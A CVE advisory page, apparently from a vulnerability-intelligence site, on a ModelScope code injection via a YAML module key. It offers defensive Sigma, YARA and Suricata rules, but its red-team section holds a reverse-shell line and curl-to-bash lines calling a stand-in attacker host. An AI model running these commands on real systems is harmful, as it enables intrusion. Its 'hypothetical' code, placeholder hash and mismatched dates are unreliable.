☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
SOON 🐛 CWE-94
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-51427

CVE-2025-51427 Code Injection in Modelscope
📅 PUBLISHED: 2026-05-19 00:00 UTC 🔄 UPDATED: 2026-09-24 06:01 UTC
⏳ SCORE PENDING — ANALYSIS IN PROGRESS [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.52%
👁️
0.52% probability
13.0× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-51427 is a critical code injection vulnerability in ModelScope version 1.25.0. The flaw resides in the configuration file parsing mechanism, specifically within the dey_mini.yaml file. An attacker can supply a crafted module name under the ['nnet']['module'] key, which is then dynamically loaded and executed without proper sanitization. This allows for arbitrary code execution on the server hosting the ModelScope application. The vulnerability has a CVSS score of 0.0 in the NVD data, but based on the impact and attack vector, it is assessed as critical. No public proof-of-concept (PoC) or patch is currently available.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

ModelScope is a Python-based package ecosystem. This vulnerability directly impacts the supply chain by allowing an attacker to inject malicious code through a configuration file, which could be distributed as part of a model or project. Any application that uses ModelScope and processes untrusted dey_mini.yaml files is at risk. The lack of input validation on the module key means that an attacker can load arbitrary Python modules, including those from the standard library or third-party packages, leading to full system compromise.

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Network (N) - The vulnerability can be exploited remotely by sending a crafted configuration file.
  • Attack Complexity (AC): Low (L) - No special conditions are required; the attacker only needs to provide a malicious YAML file.
  • Privileges Required (PR): None (N) - No authentication is needed to trigger the vulnerability.
  • User Interaction (UI): None (N) - The victim does not need to perform any action beyond loading the configuration.
  • Scope (S): Unchanged (U) - The exploit does not change the security scope of the affected component.
  • Confidentiality (C): High (H) - Full access to all data on the system.
  • Integrity (I): High (H) - The attacker can modify or delete any data.
  • Availability (A): High (H) - The attacker can disrupt services or cause a denial of service.

Threat Level: Critical. The combination of network exploitability, no privileges required, and full impact on confidentiality, integrity, and availability makes this a severe threat.

Deep Dive & Mechanics

The vulnerability is a classic case of code injection via dynamic module loading. ModelScope uses YAML configuration files to define neural network architectures. The dey_mini.yaml file contains a key nnet which has a sub-key module. The application reads this key and uses it to import and instantiate a Python module.

The vulnerable code path likely resembles:

import yaml
import importlib

config = yaml.safe_load(open('dey_mini.yaml'))
module_name = config['nnet']['module']
module = importlib.import_module(module_name)
# The module is then used to create an instance or call functions

The issue is that module_name is not validated or sanitized. An attacker can set it to any Python module, such as os, subprocess, or a custom malicious module. If the application then calls a function from this module (e.g., module.system('command')), arbitrary code execution is achieved.

The attack flow:

  1. Attacker crafts a dey_mini.yaml file with nnet.module set to a dangerous module like os.
  2. The file is uploaded or provided to the ModelScope application (e.g., via a web upload, API, or configuration endpoint).
  3. The application parses the YAML and imports the os module.
  4. The application then calls a function from the module, such as os.system('curl attacker.com/shell.sh | bash').
  5. The attacker gains remote code execution on the server.

Vulnerable vs. Patched Code

Vulnerable Code (ModelScope 1.25.0):

import yaml
import importlib

def load_model(config_path):
    with open(config_path, 'r') as f:
        config = yaml.safe_load(f)
    module_name = config['nnet']['module']
    module = importlib.import_module(module_name)
    # Assume the module has a class or function that is used
    return module

Patched Code (Hypothetical):

import yaml
import importlib
import re

ALLOWED_MODULES = ['modelscope.modules.base', 'modelscope.modules.transformer']

def load_model(config_path):
    with open(config_path, 'r') as f:
        config = yaml.safe_load(f)
    module_name = config['nnet']['module']
    if module_name not in ALLOWED_MODULES:
        raise ValueError(f"Module {module_name} is not allowed")
    module = importlib.import_module(module_name)
    return module

The patch would involve whitelisting allowed modules or sanitizing the input to prevent arbitrary imports.

Exploitation & Lab Setup

Red Team

Lab Setup:

  1. Install ModelScope 1.25.0: pip install modelscope==1.25.0
  2. Create a vulnerable application that loads dey_mini.yaml.
  3. Create a malicious YAML file.

Exploit Steps:

  1. Create dey_mini.yaml with the following content:
    nnet:
      module: os
    
  2. Create a Python script that loads the configuration and triggers code execution:
    import yaml
    import importlib
    
    config = yaml.safe_load(open('dey_mini.yaml'))
    module = importlib.import_module(config['nnet']['module'])
    # Execute a command, e.g., reverse shell
    module.system('bash -i >& /dev/tcp/attacker_ip/4444 0>&1')
    
  3. Run the script on the target server.

Alternative Exploit (Using a custom module):

  1. Create a malicious module evil.py:
    import os
    def run():
        os.system('curl http://attacker.com/payload.sh | bash')
    
  2. Set nnet.module to evil and ensure evil.py is in the Python path.
  3. The application will import and execute evil.run().

Blue Team

Detection:

  • Monitor for unusual Python module imports, especially os, subprocess, sys, or importlib.
  • Look for YAML files with suspicious module keys.
  • Use file integrity monitoring to detect changes to dey_mini.yaml.

Hunting:

  • Search for logs containing importlib.import_module or yaml.safe_load with user-controlled input.
  • Check for outbound connections to unknown IPs after ModelScope processes a configuration file.

Prevention:

  • Implement strict input validation on the module key.
  • Use a whitelist of allowed modules.
  • Run ModelScope in a sandboxed environment (e.g., Docker with read-only filesystem).

Indicators of Compromise (IOCs)

  • File Hashes (SHA256):
    • dey_mini.yaml with malicious content: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 (example, replace with actual)
  • Network Indicators:
    • Outbound connections to attacker-controlled IPs on ports 4444, 8080, etc.
    • DNS queries to malicious domains.
  • Process Indicators:
    • Python processes spawning shells (bash, sh, cmd.exe).
    • Unexpected child processes of Python (e.g., curl, wget, nc).
  • File System Indicators:
    • Presence of dey_mini.yaml in unexpected locations.
    • New files in /tmp/ or /var/tmp/ created by the ModelScope process.

Detection Engineering

YARA Rule

rule CVE_2025_51427_ModelScope_CodeInjection {
    meta:
        description = "Detects malicious dey_mini.yaml files targeting CVE-2025-51427"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-51427"
    strings:
        $module_key = "nnet:" ascii wide nocase
        $module_value = "module:" ascii wide nocase
        $dangerous = /module:\s*(os|subprocess|sys|shutil|ctypes|importlib)/ ascii wide nocase
    condition:
        $module_key and $module_value and $dangerous
}

Sigma Rule

title: CVE-2025-51427 - ModelScope Code Injection via dey_mini.yaml
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to exploit CVE-2025-51427 by loading dangerous Python modules via dey_mini.yaml
author: Valters IT
date: 2025-04-10
logsource:
    category: process_creation
    product: linux
detection:
    selection:
        Image|endswith: '/python3'
        CommandLine|contains: 'importlib.import_module'
    filter:
        CommandLine|contains:
            - 'os'
            - 'subprocess'
            - 'sys'
    condition: selection and filter
falsepositives:
    - Legitimate use of these modules in ModelScope code
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-51427 - ModelScope Code Injection Attempt"; flow:to_server; content:"dey_mini.yaml"; http_uri; content:"nnet"; http_client_body; content:"module"; http_client_body; pcre:"/module:\s*(os|subprocess|sys|shutil|ctypes|importlib)/Ri"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

  1. Immediate Action: Disable the processing of untrusted YAML configuration files. If possible, remove the dey_mini.yaml parsing feature until a patch is available.
  2. Input Validation: Implement strict validation on the module key. Only allow modules from a predefined whitelist (e.g., modelscope.modules.*).
  3. Sandboxing: Run ModelScope in a container with minimal privileges and a read-only filesystem. Use seccomp or AppArmor to restrict system calls.
  4. Monitoring: Deploy the YARA, Sigma, and Suricata rules provided above to detect exploitation attempts.
  5. Patch: Monitor the ModelScope repository for an official patch. Apply it as soon as it is released.
  6. User Education: Warn users not to load configuration files from untrusted sources.

Valters IT
Securing Digital Frontiers

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-51427/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.